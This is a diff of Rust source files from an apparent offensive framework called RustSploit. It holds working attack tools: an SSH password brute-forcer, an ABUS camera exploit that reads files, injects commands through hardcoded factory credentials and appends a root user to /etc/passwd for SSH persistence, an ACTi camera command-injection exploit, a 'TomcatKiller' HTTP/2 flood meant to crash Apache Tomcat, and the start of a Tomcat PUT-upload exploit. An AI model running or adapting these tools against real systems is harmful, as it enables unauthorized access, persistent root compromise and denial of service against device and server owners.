match try_ssh_login(&addr_clone, &user_clone, &pass_clone).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
|
||||
found_clone
|
||||
.lock()
|
||||
.await
|
||||
.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
}
|
||||
}
|
||||
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
}));
|
||||
|
||||
if tasks.len() >= concurrency {
|
||||
if let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
} else {
|
||||
println!("\n[+] Valid credentials:");
|
||||
for (host, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
let mut file = File::create(&filename)?;
|
||||
for (host, user, pass) in creds.iter() {
|
||||
writeln!(file, "{} -> {}:{}", host, user, pass)?;
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_ssh_login(normalized_addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
let user_owned = user.to_string();
|
||||
let pass_owned = pass.to_string();
|
||||
let addr_owned = normalized_addr.to_string();
|
||||
|
||||
let result = spawn_blocking(move || {
|
||||
match TcpStream::connect(&addr_owned) {
|
||||
Ok(tcp) => {
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp);
|
||||
sess.handshake()?;
|
||||
match sess.userauth_password(&user_owned, &pass_owned) {
|
||||
Ok(_) => Ok(sess.authenticated()),
|
||||
Err(_) => Ok(false),
|
||||
}
|
||||
}
|
||||
Err(e) => Err(anyhow!("Connection error to {}: {}", addr_owned, e)),
|
||||
}
|
||||
})
|
||||
.await??;
|
||||
|
||||
Ok(result)
|
||||
}
|
||||
|
||||
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
|
||||
let trimmed = host.trim();
|
||||
let caps = re
|
||||
.captures(trimmed)
|
||||
.ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
|
||||
let addr = caps.name("addr").unwrap().as_str();
|
||||
let port = if let Some(m) = caps.name("port") {
|
||||
m.as_str()
|
||||
.parse::<u16>()
|
||||
.map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
|
||||
} else {
|
||||
default_port
|
||||
};
|
||||
let formatted = if addr.contains(':') && !addr.contains('.') {
|
||||
format!("[{}]:{}", addr, port)
|
||||
} else {
|
||||
format!("{}:{}", addr, port)
|
||||
};
|
||||
|
||||
formatted
|
||||
.to_socket_addrs()
|
||||
.map_err(|e| anyhow!("Could not resolve '{}': {}", formatted, e))?
|
||||
.next()
|
||||
.ok_or_else(|| anyhow!("Could not resolve '{}'", formatted))?;
|
||||
|
||||
Ok(formatted)
|
||||
}
|
||||
|
||||
fn prompt_existing_file(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
let candidate = prompt_required(msg)?;
|
||||
if Path::new(&candidate).is_file() {
|
||||
return Ok(candidate);
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("File '{}' does not exist or is not a regular file.", candidate).yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("{}", "This field is required.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref())
|
||||
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.filter(|l| !l.trim().is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
let path_candidate = Path::new(input_path_str)
|
||||
.file_name()
|
||||
.map(|os_str| os_str.to_string_lossy())
|
||||
.filter(|s_cow| !s_cow.is_empty() && s_cow != "." && s_cow != "..")
|
||||
.map(|s_cow| s_cow.into_owned())
|
||||
.unwrap_or_else(|| "ssh_brute_results.txt".to_string());
|
||||
|
||||
PathBuf::from(format!("./{}", path_candidate))
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,2 +0,0 @@
|
||||
pub mod generic; // <-- lowercase folder name
|
||||
pub mod camera;
|
||||
@@ -1,153 +0,0 @@
|
||||
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access
|
||||
// CVE: CVE-2023-26609
|
||||
// Author: d1g@segfault.net | Ported to Rust for RustSploit
|
||||
// PoC converted 1:1 from Bash to async Rust logic
|
||||
|
||||
// Cargo.toml:
|
||||
// [dependencies]
|
||||
// anyhow = "1.0"
|
||||
// reqwest = { version = "0.11", features = ["blocking", "rustls-tls"] }
|
||||
// md5 = "0.7.0"
|
||||
|
||||
use anyhow::{Result, anyhow};
|
||||
use md5;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
|
||||
/// Wraps/bracket-sanitizes IPv6 addresses (and leaves IPv4/hostnames alone)
|
||||
fn format_host(raw: &str) -> String {
|
||||
if raw.contains(':') {
|
||||
// strip any number of existing brackets, then wrap once
|
||||
let stripped = raw.trim_matches(|c| c == '[' || c == ']');
|
||||
format!("[{}]", stripped)
|
||||
} else {
|
||||
raw.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Send authenticated LFI request
|
||||
async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
|
||||
let host = format_host(target);
|
||||
let url = format!(
|
||||
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
|
||||
host, filepath
|
||||
);
|
||||
println!("[*] Sending LFI request to: {}", url);
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
println!("[+] Status: {}", resp.status());
|
||||
println!("[+] Body:\n{}", resp.text().await?);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send authenticated RCE request with command injection
|
||||
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
let host = format_host(target);
|
||||
let url = format!(
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
|
||||
host, cmd
|
||||
);
|
||||
println!("[*] Sending RCE request to: {}", url);
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
println!("[+] Status: {}", resp.status());
|
||||
println!("[+] Body:\n{}", resp.text().await?);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Stage 1: Generate SSH key
|
||||
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
|
||||
println!("[*] Generating SSH key on target...");
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// Stage 2: Inject a root user with an MD5-hashed password
|
||||
async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
|
||||
// Compute lowercase-hex MD5 of the provided password
|
||||
let hash = format!("{:x}", md5::compute(password));
|
||||
println!("[*] MD5 hash of password: {}", hash);
|
||||
|
||||
// Build the echo command to append to /etc/passwd
|
||||
let cmd = format!(
|
||||
"echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
|
||||
hash
|
||||
);
|
||||
println!("[*] Injecting root user into /etc/passwd...");
|
||||
exploit_rce(client, target, &cmd).await
|
||||
}
|
||||
|
||||
/// Stage 3: Start Dropbear SSH server
|
||||
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
|
||||
println!("[*] Starting Dropbear SSH server...");
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// Combined SSH persistence exploit
|
||||
async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Result<()> {
|
||||
generate_ssh_key(client, target).await?;
|
||||
inject_root_user(client, target, password).await?;
|
||||
start_dropbear(client, target).await?;
|
||||
println!("[+] Persistence complete! You can now SSH in with:");
|
||||
println!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\
|
||||
-oHostKeyAlgorithms=+ssh-rsa d1g@{}",
|
||||
password, target
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Prompt user for mode, and dispatch accordingly
|
||||
async fn execute(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
|
||||
println!("[*] Exploit mode selection for target: {}", target);
|
||||
println!(" [1] LFI");
|
||||
println!(" [2] RCE");
|
||||
println!(" [3] SSH Persistence");
|
||||
print!("> ");
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice)?;
|
||||
match choice.trim() {
|
||||
"1" => {
|
||||
print!("Enter file path to read (e.g. /etc/passwd): ");
|
||||
io::stdout().flush()?;
|
||||
let mut fp = String::new();
|
||||
io::stdin().read_line(&mut fp)?;
|
||||
exploit_lfi(&client, target, fp.trim()).await?;
|
||||
}
|
||||
"2" => {
|
||||
print!("Enter command to execute (e.g. id): ");
|
||||
io::stdout().flush()?;
|
||||
let mut cmd = String::new();
|
||||
io::stdin().read_line(&mut cmd)?;
|
||||
exploit_rce(&client, target, cmd.trim()).await?;
|
||||
}
|
||||
"3" => {
|
||||
// Ask for the desired password, hash it, and persist
|
||||
print!("Enter desired password for new root user: ");
|
||||
io::stdout().flush()?;
|
||||
let mut pwd = String::new();
|
||||
io::stdin().read_line(&mut pwd)?;
|
||||
let pwd = pwd.trim();
|
||||
if pwd.is_empty() {
|
||||
return Err(anyhow!("Password cannot be empty"));
|
||||
}
|
||||
persist_root_shell(&client, target, pwd).await?;
|
||||
}
|
||||
_ => return Err(anyhow!("Invalid choice")),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Entry point for the RustSploit dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
execute(target).await
|
||||
}
|
||||
|
||||
@@ -1,122 +0,0 @@
|
||||
use anyhow::Result;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
use md5;
|
||||
|
||||
/// Normalize IPv6 targets, collapsing any number of outer brackets
|
||||
/// and preserving an explicit port if one was given as `[...] : port`.
|
||||
fn normalize_target(raw: &str) -> String {
|
||||
// Case: bracketed IPv6 with port, e.g. "[[::1]]:8080"
|
||||
if raw.contains("]:") {
|
||||
if let Some(idx) = raw.rfind("]:") {
|
||||
let addr_raw = &raw[..idx];
|
||||
let port = &raw[idx + 2..];
|
||||
// strip ALL brackets from the address portion
|
||||
let addr_inner = addr_raw
|
||||
.trim_start_matches('[')
|
||||
.trim_end_matches(']')
|
||||
.to_string();
|
||||
return format!("[{}]:{}", addr_inner, port);
|
||||
}
|
||||
}
|
||||
// Otherwise, remove any outer brackets entirely...
|
||||
let inner = raw
|
||||
.trim_start_matches('[')
|
||||
.trim_end_matches(']')
|
||||
.to_string();
|
||||
// ...and only re-wrap in brackets if it's a bare IPv6 (contains a colon).
|
||||
if inner.contains(':') {
|
||||
format!("[{}]", inner)
|
||||
} else {
|
||||
inner
|
||||
}
|
||||
}
|
||||
|
||||
/// Send a command using the vulnerable RCE endpoint
|
||||
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
let normalized = normalize_target(target);
|
||||
let url = format!(
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=inject;{}",
|
||||
normalized, cmd
|
||||
);
|
||||
println!("[*] Sending RCE payload: {}", cmd);
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
println!("[+] Status: {}", resp.status());
|
||||
println!("[+] Response:\n{}", resp.text().await?);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Generate Dropbear SSH keys on the target system
|
||||
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
|
||||
println!("[*] Generating Dropbear SSH key...");
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// Inject a root user with a hashed password into /etc/passwd
|
||||
async fn inject_root_user(client: &Client, target: &str, user: &str, hash: &str) -> Result<()> {
|
||||
let payload = format!(
|
||||
"echo%20{}:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
|
||||
user, hash
|
||||
);
|
||||
println!("[*] Injecting user '{}' with root privileges...", user);
|
||||
exploit_rce(client, target, &payload).await
|
||||
}
|
||||
|
||||
/// Start Dropbear SSH daemon
|
||||
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
|
||||
println!("[*] Starting Dropbear SSH daemon...");
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// Generate an MD5 hash of the given password
|
||||
fn generate_md5_hash(password: &str) -> String {
|
||||
let digest = md5::compute(password.as_bytes());
|
||||
format!("{:x}", digest)
|
||||
}
|
||||
|
||||
/// Main interactive flow: get user/pass, hash it, and inject persistence
|
||||
async fn execute_flow(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
|
||||
println!("[*] Dropbear SSH persistence for target: {}", target);
|
||||
|
||||
print!("Enter username to inject: ");
|
||||
io::stdout().flush()?;
|
||||
let mut user = String::new();
|
||||
io::stdin().read_line(&mut user)?;
|
||||
let user = user.trim();
|
||||
|
||||
print!("Enter password (will be hashed): ");
|
||||
io::stdout().flush()?;
|
||||
let mut pass = String::new();
|
||||
io::stdin().read_line(&mut pass)?;
|
||||
let pass = pass.trim();
|
||||
|
||||
// Hash it!
|
||||
let hash = generate_md5_hash(pass);
|
||||
println!("[*] Generated MD5 hash: {}", hash);
|
||||
|
||||
// Run each step
|
||||
generate_ssh_key(&client, target).await?;
|
||||
inject_root_user(&client, target, user, &hash).await?;
|
||||
start_dropbear(&client, target).await?;
|
||||
|
||||
println!("\n[+] Done. Try connecting with:");
|
||||
println!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \
|
||||
-oHostKeyAlgorithms=+ssh-rsa {}@{}",
|
||||
pass, user, target
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Dispatcher entry-point for the auto-dispatch framework
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
execute_flow(target).await
|
||||
}
|
||||
@@ -1,2 +0,0 @@
|
||||
pub mod abussecurity_camera_cve202326609variant1;
|
||||
pub mod abussecurity_camera_cve202326609variant2;
|
||||
@@ -1,79 +0,0 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
|
||||
/// // Executes an RCE on ACTi ACM-5611 Video Camera using command injection
|
||||
/// // Reference:
|
||||
/// // - https://www.exploitalert.com/view-details.html?id=34128
|
||||
/// // - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
|
||||
|
||||
/// // Exploit authors:
|
||||
/// // - Todor Donev <todor.donev@gmail.com>
|
||||
/// // - GH0st3rs (RouterSploit module)
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let port = 8080; // // Default port
|
||||
|
||||
if check(target, port).await? {
|
||||
println!("[+] Target seems vulnerable: {}:{}", target, port);
|
||||
|
||||
// // Simulated shell command execution
|
||||
let cmd = "id"; // // You can change this to any test command
|
||||
let output = execute(target, port, cmd).await?;
|
||||
println!("[+] Executed '{}':\n{}", cmd, output);
|
||||
|
||||
// // You can extend this to implement full shell injection
|
||||
// // shell(arch="armle", method="wget", location="/var/", exec_binary=...)
|
||||
} else {
|
||||
println!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
|
||||
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
|
||||
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()?;
|
||||
|
||||
let res = client
|
||||
.get(&url)
|
||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||
.header("Referer", format!("http://{}:{}", target, port))
|
||||
.query(&[("iperf", format!(";{}", cmd))])
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
if res.status().is_success() {
|
||||
let text = res.text().await?;
|
||||
Ok(text)
|
||||
} else {
|
||||
Err(anyhow!("Command execution failed, status code: {}", res.status()))
|
||||
}
|
||||
}
|
||||
|
||||
/// // Check if the target is running the vulnerable service
|
||||
async fn check(target: &str, port: u16) -> Result<bool> {
|
||||
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
||||
let index_url = format!("http://{}:{}/", target, port);
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()?;
|
||||
|
||||
// // Check /cgi-bin/test
|
||||
let test_res = client.get(&url).send().await?;
|
||||
if test_res.status().is_success() {
|
||||
// // Check root page contains 'Web Configurator'
|
||||
let index_res = client.get(&index_url).send().await?;
|
||||
if index_res.status().is_success() {
|
||||
let body = index_res.text().await?;
|
||||
if body.contains("Web Configurator") {
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
pub mod acm_5611_rce;
|
||||
@@ -1,193 +0,0 @@
|
||||
use anyhow::{anyhow, bail, Result};
|
||||
use colored::*;
|
||||
use rand::Rng;
|
||||
use reqwest::{ClientBuilder};
|
||||
use std::io::{self, Write};
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::time::Duration;
|
||||
use tokio::time::sleep;
|
||||
use rand::prelude::IndexedRandom;
|
||||
|
||||
/// TomcatKiller - CVE-2025-31650
|
||||
/// Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", "===== TomcatKiller - CVE-2025-31650 =====".blue());
|
||||
println!("Developed by: @absholi7ly");
|
||||
println!("Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers.");
|
||||
println!("{}", "Warning: For authorized testing only. Ensure HTTP/2 and vulnerable Tomcat version.".yellow());
|
||||
|
||||
let port = prompt_for_port().unwrap_or(443);
|
||||
let normalized = if target.starts_with("http://") || target.starts_with("https://") {
|
||||
target.to_string()
|
||||
} else {
|
||||
format!("https://{}", target)
|
||||
};
|
||||
|
||||
let (host, _) = match validate_url(&normalized) {
|
||||
Ok(hp) => hp,
|
||||
Err(e) => {
|
||||
eprintln!("{}", format!("Invalid target URL: {e}").red());
|
||||
return Err(e);
|
||||
}
|
||||
};
|
||||
|
||||
let clean_host = strip_ipv6_brackets(&host);
|
||||
let num_tasks = 300;
|
||||
let requests_per_task = 100000;
|
||||
|
||||
match check_http2_support(&clean_host, port).await {
|
||||
Ok(true) => {
|
||||
println!("{}", format!("Starting attack on {}:{}...", clean_host, port).green());
|
||||
println!("Tasks: {}, Requests per task: {}", num_tasks, requests_per_task);
|
||||
println!("{}", "Monitor memory manually via VisualVM or check catalina.out for OutOfMemoryError.".yellow());
|
||||
|
||||
let monitor_handle = tokio::spawn(monitor_server(clean_host.clone(), port));
|
||||
let mut handles = Vec::new();
|
||||
|
||||
for i in 0..num_tasks {
|
||||
let h = clean_host.clone();
|
||||
handles.push(tokio::spawn(send_invalid_priority_requests(h, port, requests_per_task, i)));
|
||||
}
|
||||
|
||||
for handle in handles {
|
||||
let _ = handle.await;
|
||||
}
|
||||
|
||||
monitor_handle.abort();
|
||||
}
|
||||
Ok(false) => {
|
||||
bail!("Target does not support HTTP/2. Exploit not applicable.");
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("{}", format!("[!] Error checking HTTP/2 support: {e}").red());
|
||||
return Err(e);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prompt_for_port() -> Option<u16> {
|
||||
print!("{}", "Enter target port (default 443): ".cyan());
|
||||
io::stdout().flush().ok()?;
|
||||
|
||||
let mut buffer = String::new();
|
||||
io::stdin().read_line(&mut buffer).ok()?;
|
||||
|
||||
let trimmed = buffer.trim();
|
||||
if trimmed.is_empty() {
|
||||
Some(443)
|
||||
} else {
|
||||
trimmed.parse::<u16>().ok()
|
||||
}
|
||||
}
|
||||
|
||||
fn strip_ipv6_brackets(host: &str) -> String {
|
||||
host.trim_matches(|c| c == '[' || c == ']').to_string()
|
||||
}
|
||||
|
||||
fn validate_url(url: &str) -> Result<(String, u16)> {
|
||||
let parsed = url::Url::parse(url)?;
|
||||
let host = parsed.host_str().ok_or_else(|| anyhow!("Invalid URL format"))?.to_string();
|
||||
let port = parsed.port_or_known_default().unwrap_or(443);
|
||||
Ok((host, port))
|
||||
}
|
||||
|
||||
async fn check_http2_support(host: &str, port: u16) -> Result<bool> {
|
||||
let client = ClientBuilder::new()
|
||||
.http2_prior_knowledge()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()?;
|
||||
|
||||
let url = format!("https://{}:{}/", host, port);
|
||||
let resp = client.get(&url).header("user-agent", "TomcatKiller").send().await;
|
||||
|
||||
match resp {
|
||||
Ok(response) => {
|
||||
if response.version() == reqwest::Version::HTTP_2 {
|
||||
println!("{}", "HTTP/2 supported! Proceeding ...".green());
|
||||
Ok(true)
|
||||
} else {
|
||||
println!("{}", "Server responded, but HTTP/2 not used.".yellow());
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("Connection failed: {}:{}. Reason: {e}", host, port).red());
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn send_invalid_priority_requests(host: String, port: u16, count: usize, task_id: usize) {
|
||||
let priorities = get_invalid_priorities();
|
||||
let client = match ClientBuilder::new()
|
||||
.http2_prior_knowledge()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_millis(300))
|
||||
.build()
|
||||
{
|
||||
Ok(c) => c,
|
||||
Err(_) => return,
|
||||
};
|
||||
|
||||
let url = format!("https://{}:{}/", host, port);
|
||||
|
||||
for _ in 0..count {
|
||||
let prio = priorities.choose(&mut rand::rng()).unwrap().to_string();
|
||||
let headers = [
|
||||
("priority", prio),
|
||||
("user-agent", format!("TomcatKiller-{}-{}", task_id, rand::rng().random::<u32>())),
|
||||
("cache-control", "no-cache".to_string()),
|
||||
("accept", format!("*/*; q={}", rand::rng().random_range(0.1..1.0))),
|
||||
];
|
||||
|
||||
let mut req = client.get(&url);
|
||||
for (k, v) in headers.iter() {
|
||||
req = req.header(*k, v);
|
||||
}
|
||||
|
||||
let _ = req.send().await;
|
||||
}
|
||||
}
|
||||
|
||||
async fn monitor_server(host: String, port: u16) {
|
||||
loop {
|
||||
let addr_result = format!("{}:{}", host, port).to_socket_addrs();
|
||||
|
||||
match addr_result {
|
||||
Ok(mut addrs) => {
|
||||
if let Some(addr) = addrs.next() {
|
||||
if TcpStream::connect_timeout(&addr, Duration::from_secs(2)).is_ok() {
|
||||
println!("{}", format!("Target {}:{} is reachable.", host, port).yellow());
|
||||
} else {
|
||||
println!("{}", format!("Target {}:{} unreachable or crashed!", host, port).red());
|
||||
break;
|
||||
}
|
||||
} else {
|
||||
println!("{}", "DNS lookup failed.".red());
|
||||
break;
|
||||
}
|
||||
}
|
||||
Err(_) => {
|
||||
println!("{}", "Failed to resolve host for monitoring.".red());
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
}
|
||||
}
|
||||
|
||||
fn get_invalid_priorities() -> Vec<&'static str> {
|
||||
vec![
|
||||
"u=-1, q=2", "u=4294967295, q=-1", "u=-2147483648, q=1.5", "u=0, q=invalid",
|
||||
"u=1/0, q=NaN", "u=1, q=2, invalid=param", "", "u=1, q=1, u=2",
|
||||
"u=99999999999999999999, q=0", "u=-99999999999999999999, q=0", "u=, q=",
|
||||
"u=1, q=1, malformed", "u=1, q=, invalid", "u=-1, q=4294967295",
|
||||
"u=invalid, q=1", "u=1, q=1, extra=😈", "u=1, q=1; malformed", "u=1, q=1, =invalid",
|
||||
"u=0, q=0, stream=invalid", "u=1, q=1, priority=recursive", "u=1, q=1, %invalid%",
|
||||
"u=0, q=0, null=0",
|
||||
]
|
||||
}
|
||||
@@ -1,320 +0,0 @@
|
||||
use anyhow::{bail, Result};
|
||||
use regex::Regex;
|
||||
use reqwest::{Client, StatusCode};
|
||||
use std::io::{self, Write};
|
||||
use std::path::Path;
|
||||
use std::process::{Command, Stdio};
|
||||
use std::time::Duration;
|
||||
use tokio::fs::{read, remove_file};
|
||||
|
||||
const BANNER: &str = r#"
|
||||
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
|
||||
██╔════╝██║ ██║██╔────╝ ╚════██╗██╔══██╗██╔══██╗██╔══██╗
|
||||
██║ ██║ ██║█████╗█████╗█████╔╝██████╔╝██████╔╝██║ ██║
|
||||
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔══██╗██╔══██╗██╔══██╗██║ ██║
|
||||
╚██████╗ ╚████╔╝ ███████╗ ██████╔╝██║ ██║██║ ██║██████╔╝
|
||||
╚═════╝ ╚═══╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝
|
||||
"#;
|
||||
|
||||
/// // Sanitize IPv6 URL
|
||||
fn sanitize_target(raw: &str) -> String {
|
||||
let fixed = raw.replace("[[", "[").replace("]]", "]");
|
||||
if fixed.starts_with("http://") || fixed.starts_with("https://") {
|
||||
fixed
|
||||
} else {
|
||||
format!("http://{}", fixed)
|
||||
}
|
||||
}
|
||||
|
||||
/// // Prompt helper
|
||||
fn prompt(message: &str, default: Option<&str>) -> String {
|
||||
print!("{}{}: ", message, default.map_or("".to_string(), |d| format!(" [{}]", d)));
|
||||
io::stdout().flush().unwrap();
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf).unwrap();
|
||||
let input = buf.trim();
|
||||
if input.is_empty() {
|
||||
default.unwrap_or("").to_string()
|
||||
} else {
|
||||
input.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// // Check if server is writable
|
||||
async fn check_writable_servlet(client: &Client, target_url: &str, host: &str, port: &str) -> Result<bool> {
|
||||
let check_url = format!("{}/check.txt", target_url);
|
||||
let res = client
|
||||
.put(&check_url)
|
||||
.header("Host", format!("{host}:{port}"))
|
||||
.header("Content-Length", "10000")
|
||||
.header("Content-Range", "bytes 0-1000/1200")
|
||||
